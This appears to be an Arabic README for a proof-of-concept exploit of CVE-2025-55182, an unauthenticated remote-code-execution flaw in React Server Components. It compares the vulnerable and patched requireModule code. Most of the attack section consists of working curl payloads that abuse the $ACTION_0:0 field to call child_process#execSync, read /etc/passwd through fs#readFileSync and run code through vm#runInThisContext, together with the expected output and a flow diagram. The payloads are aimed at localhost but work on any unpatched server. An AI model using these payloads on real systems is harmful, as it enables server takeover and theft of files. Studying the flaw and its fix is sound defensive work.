
POC واقعي يوضح فحص `hasOwnProperty` المفقود في [email protected]
إثبات مفهوم بسيط يوضح الثغرة الحرجة لتنفيذ الأوامر عن بُعد في [email protected].
ثغرة RCE (تنفيذ أوامر عن بُعد) بدون مصادقة في مكونات خادم React تتيح للمهاجمين تنفيذ كود عشوائي على الخوادم التي تستخدم الحزمة الضعيفة react-server-dom-webpack (الإصدارات 19.0.0 - 19.2.0).
درجة CVSS: 10 (حرجة)
react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0hasOwnPropertyتوجد الثغرة في دالة requireModule داخل تطبيق بروتوكول Flight الخاص بـ React. تقوم هذه الدالة بتحميل مُخرجات الوحدات (module exports) بناءً على بيانات وصفية (metadata) واردة من طلبات العميل.
الكود الثغري ([email protected]):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
return moduleExports[metadata[NAME]]; // <-- لا يوجد تحقق!
}
المشكلة: metadata[NAME] تأتي من إدخال المستخدم (طلب HTTP). يمكن للمهاجم تحديد أي وحدة وأي اسم تصدير، مثل child_process#execSync.
الكود المُصحَّح ([email protected]+):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
import hasOwnProperty from 'shared/hasOwnProperty';
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
// تم الإصلاح: التحقق من وجود التصدير فعلياً
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);
}
يُضيف الإصلاح hasOwnProperty.call() لضمان أن التصدير المطلوب هو خاصية مباشرة (own property) للوحدة، وليس موروثاً من سلسلة النماذج (prototype chain) أو يمكن حله ديناميكياً للوصول إلى وحدات خطيرة.
$ACTION_REF_0 و $ACTION_0:0$ACTION_0:0 على {"id":"child_process#execSync","bound":["whoami"]}decodeAction بتحليل هذا وتستدعي requireModule مع بيانات وصفية يتحكم بها المهاجمrequireModule قيمة require('child_process').execSynccd CVE-2025-55182-realistic-poc/
npm install
npm start
# يبدأ على http://localhost:3000
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
المخرجات المتوقعة:
{"success":true,"result":"your-username\n"}
# قراءة الملفات
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# تنفيذ JavaScript
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'
decodeActionHTTP Request
│
▼
┌─────────────────────────────────────────────────────────────┐
│ decodeAction(formData, serverManifest) │
│ - Parses $ACTION_REF_0 to find action reference │
│ - Parses $ACTION_0:0 to get {id, bound} │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ loadServerReference(serverManifest, id, bound) │
│ - id = "child_process#execSync" (attacker controlled) │
│ - bound = ["whoami"] (attacker controlled) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ resolveServerReference(bundlerConfig, id) │
│ - Splits "child_process#execSync" into: │
│ specifier = "child_process" │
│ name = "execSync" │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ requireModule(metadata) [VULNERABLE] │
│ - Loads require("child_process") │
│ - Returns moduleExports["execSync"] │
│ - NO VALIDATION that "execSync" should be accessible │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ action = execSync.bind(null, "whoami") │
│ result = action() → EXECUTES "whoami" ON SERVER │
└─────────────────────────────────────────────────────────────┘
MIT